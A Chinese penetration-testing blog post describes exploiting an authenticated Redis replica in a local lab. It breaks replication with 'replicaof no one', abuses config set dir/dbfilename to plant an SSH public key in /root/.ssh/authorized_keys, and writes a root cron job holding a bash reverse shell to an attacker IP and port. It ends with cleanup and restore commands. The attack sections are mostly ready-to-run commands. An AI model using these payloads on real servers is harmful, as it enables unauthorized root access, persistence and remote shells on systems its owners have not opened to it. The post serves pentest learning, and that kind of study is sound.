TIDE_网络安全Linux 一名脚本小子的进阶之路

Redis主从架构漏洞利用

2019-12-26  本文已影响0人  RabbitMask

本文思路来自团队两个小伙伴,vlong6CSeroad,在此做个笔记。

redis主从关系两大特点:1、读写分离 2、主从同步
简单说,master只具备写权限,slave只具备读权限,写入master的数据会实时同步到slave。

如果我们拿到的redis正是slave,那就只会具备读权限,无法按照传统方式进行shell写入等操作,如果要做漏洞利用的话,需要将slave从主从架构中剥离出来,但这无疑会对活跃中的生产环境造成不可预料的影响,所以我们以本地环境进行复现。

master:192.168.246.1(win10)
slave:192.168.246.128(parrotKDE)

我们来看下redis-cli的配置文件

################################# REPLICATION #################################

# Master-Slave replication. Use slaveof to make a Redis instance a copy of
# another Redis server. A few things to understand ASAP about Redis replication.
#
# 1) Redis replication is asynchronous, but you can configure a master to
#    stop accepting writes if it appears to be not connected with at least
#    a given number of slaves.
# 2) Redis slaves are able to perform a partial resynchronization with the
#    master if the replication link is lost for a relatively small amount of
#    time. You may want to configure the replication backlog size (see the next
#    sections of this file) with a sensible value depending on your needs.
# 3) Replication is automatic and does not need user intervention. After a
#    network partition slaves automatically try to reconnect to masters
#    and resynchronize with them.
#
# slaveof <masterip> <masterport>

简单概述就是我们上面提到的两点。借助样例完成从属配置。
slaveof <masterip> <masterport>
但是,这里还有一个小闹剧,你如果使用的是新版本的redis,你会发现找不到slaveof功能,why?
slave本意为奴隶,当年万人血书twitter,认为这种奴隶制的色彩冒犯他人,redis作者ANTIREZ最终还是给予了妥协,以别名的方式做出了让步,新版本中可用replicaof代替slaveof,但实际上slaveof并没有消失,兽人永不为奴!!!咳咳咳,扯远了。。。

顺便说一句,新版本redis将不再存在未授权访问的情况,看下新版默认开启的安全模式。

简单说,默认安全模式下,如果未设置密码远程依然可未授权登录,但无任何权限,会收到如下提示:

DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions:

  1. Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent.
  2. Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server.
  3. If you started the server manually just for testing, restart it with the '--protected-mode no' option.
  4. Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

除了上述各种关闭安全模式的方式外,在安全模式下登录操作必须设置bind 地址,设置认证密码。综上,新版redis安全性max。
但是,没有绝对的安全,在拿到口令的情况下,该来的,总会来的。
在成功登录远程redis后,我们可查看其主从关系:
info Replication

# Replication
role:slave
master_host:192.168.246.1
master_port:6379
master_link_status:down
master_last_io_seconds_ago:-1
master_sync_in_progress:0
slave_repl_offset:1
master_link_down_since_seconds:1577329238
slave_priority:100
slave_read_only:1
connected_slaves:0
master_replid:5a51368521f8f20d4a8d3e98d7c050f421019d4c
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

似乎网上的教程都是基于Linux平台发起的攻击,我们本次非主流一下,从Windows平台发起,关于写webshell之类的在之前的文章已经提过了(Redis For Webshell),这次我们玩点不一样的尝试SSH秘钥登录、任务计划命令执行反弹shell等。
在主从关系下,我们执行写入命令会受到如下报错:
(error) READONLY You can't write against a read only replica.
所以我们需要先进行主从关系的剥离,将奴隶拯救出来!
replicaof no one

SSH秘钥登录

ssh-keygen -t rsa
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
type key.txt | redis-cli -h 192.168.246.128 -x set aaa
config set dir /root/.ssh 
config  set  dbfilename authorized_keys
save

接下来就随意了,这里使用xshell密钥方式尝试登录:

登录成功:

简单总结一句,作为远程服务器,ssh功能肯定是打开的,只要借助redis完成公钥注册,即可借助本地私钥免密码登录远程服务器。

反弹shell(命令执行)

config set dir /var/spool/cron
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.246.1/1988 0>&1\n\n"
config set dbfilename root
save

这里并没有成功,但计划任务确实写入了,原因是因为ubuntu在代码中存在乱码时会导致命令执行失败,而如果是centos会忽略乱码去执行格式正确的任务计划,而这里用的ParrotKDE版本更接近于Ubuntu,所以没有执行,此方案仅适用于centos系,此次不再拓展,关于计划任务命令执行可参考笔者之前的文章linux后门维系

影响与善后

作为渗透测试中的一项,我们不得不提下他对生产系统的影响,请各位小伙伴根据甲方爸爸需求安排测试项,如以下风险超出接受预期,把这篇文章丢给他也够了。
话说在之前的文章中我提到过redis有个很耐人寻味的机制:
可以通过config命令在控制台对上述参数进行set,虽说并不会更改conf文件,仅对此次redis生效,redis重启失效,但是!正是因为这种机制,导致我们的config set无需重启redis即可生效。
放到测试项目中,如不能安排redis服务重启,需要我们进行适当的善后工作,首先在恢复其主从关系以前,记得删除增加的key-value,因为我们之前的命令并未设置超时参数,还要记得恢复其工作路径和到处名称,其次,恢复其主从关系,但对系统造成是影响将会是不可逆的,在剥离期间内,无法实现应有的主从同步。

del xxx
config set dir ./
config set dbfilename dump.rdb
replicaof 192.168.246.1 6379
exit

以上为redis默认配置,具体实际情况参见INFO修改。

# The filename where to dump the DB
dbfilename dump.rdb

# The working directory.
#
# The DB will be written inside this directory, with the filename specified
# above using the 'dbfilename' configuration directive.
#
# The Append Only File will also be created inside this directory.
#
# Note that you must specify a directory here, not a file name.
dir ./
上一篇下一篇

猜你喜欢

热点阅读